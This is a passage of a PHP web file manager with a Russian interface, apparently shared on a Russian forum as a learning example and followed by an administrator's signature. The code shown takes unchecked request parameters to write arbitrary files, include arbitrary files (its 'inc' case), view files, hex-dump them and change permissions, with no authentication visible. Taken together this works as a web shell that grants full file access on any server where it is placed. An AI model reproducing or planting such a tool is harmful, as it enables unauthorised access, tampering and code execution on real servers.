$n=0;$asc="";$co=0;
for ($k=0;$k<=16;$k++){
$co=hexdec(substr($ln,$n,2));
if (($co<=31)||(($co>=127)&&($co<=160)))$co=46;
$asc.= chr($co);
$n+=2;
}
echo htmlspecialchars($asc);
echo "</td></tr>";
}
}
fclose($file);
echo "</table>";
}
//////////////////////////////////////ОТКРЫВАЕМ ФАЙЛ ПРОСМОТРА////////////////////////////////
function openit($name){
$ext=strtolower(substr($name,strrpos($name,'.')+1));
$src=array('php','php3','php4','phps','phtml','phtm','inc');
if(in_array($ext,$src)) {
echo "<div style=\"margin: 0px;padding: 7px;border: 1px inset;width:  830px;height: 600px;overflow: auto;background-color: #C0C0C0;color:  #000000\">";
highlight_file($name);
echo "</div>";
}
else echo "<div style=\"margin: 0px;padding: 7px;border: 1px  inset;width: 830px;height: 600px;overflow: auto;background-color:  #C0C0C0;color: #000000\"><font  color=black><pre>".htmlspecialchars(file_get_contents($name))."</pre></font></div>";
}
?>
<html><head>
<? echo $style.$fm_script; ?>
<title>Файловый менеджер </title></head>
<body text="#171717" bgcolor="#f7f7f7" link="#000000" vlink="#000000" alink="#000000">
<table border="1" cellpadding="0" cellspacing="0"  style="border-collapse: collapse" bordercolor="#282828"  bgcolor="#f7f7f7" width="100%"><tr><td align="left">
<a  href="<?=hlink("sec=about&workingdir=".urlencode(getcwd()));  ?>">Помощь</a> - <a  href="<?=hlink("sec=fm&workingdir=".urlencode(getcwd()));  ?>">Файловый менеджер</a> - <a  href="<?=hlink("sec=tool&workingdir=".urlencode(getcwd()));  ?>">Дополнительно</a></td></tr></table><hr  size=1 noshade>
<table border="0" cellpadding="0" cellspacing="0"  style="border-collapse: collapse" bordercolor="#282828"  bgcolor="#f7f7f7" width="100%">
<tr><td align="right">Системная дата: <? echo $date."  ".$time_now; ?></td></tr></table><hr size=1  noshade>
<?php
if (!empty($_REQUEST['sec'])){
switch($_REQUEST['sec']){
case 'fm':filemanager();break;
case 'edit': if (!empty($_REQUEST['open']))editor($_REQUEST['file']);
if (!empty($_REQUEST['save'])){
$filehandle= fopen($_REQUEST['file'],"w");
fwrite($filehandle,$_REQUEST['edited']);
fclose($filehandle);}
if (!empty($_REQUEST['file'])) editor($_REQUEST['file']);else editor('');
break;
case 'openit':openit($_REQUEST['name']);break;
case 'hex':hexview();break;
case 'img':showimage($_REQUEST['file']);break;
case 'inc':include ($_REQUEST['file']);break;
case 'chmod':cm();break;
case 'checksum':checksum($_REQUEST['file']);break;
case 'about':echo $intro;break;
case 'tool':echo $intro_tool;break;
default: filemanager();
}}else { filemanager(); }
echo $footer;
?>
</body></html>
 

FussesDemon

Администратор
Администратор
9 Фев 2005
6.418
693
113
www.unifree.ru
Различные скрипты как самообучение на примерах помогают развивать знания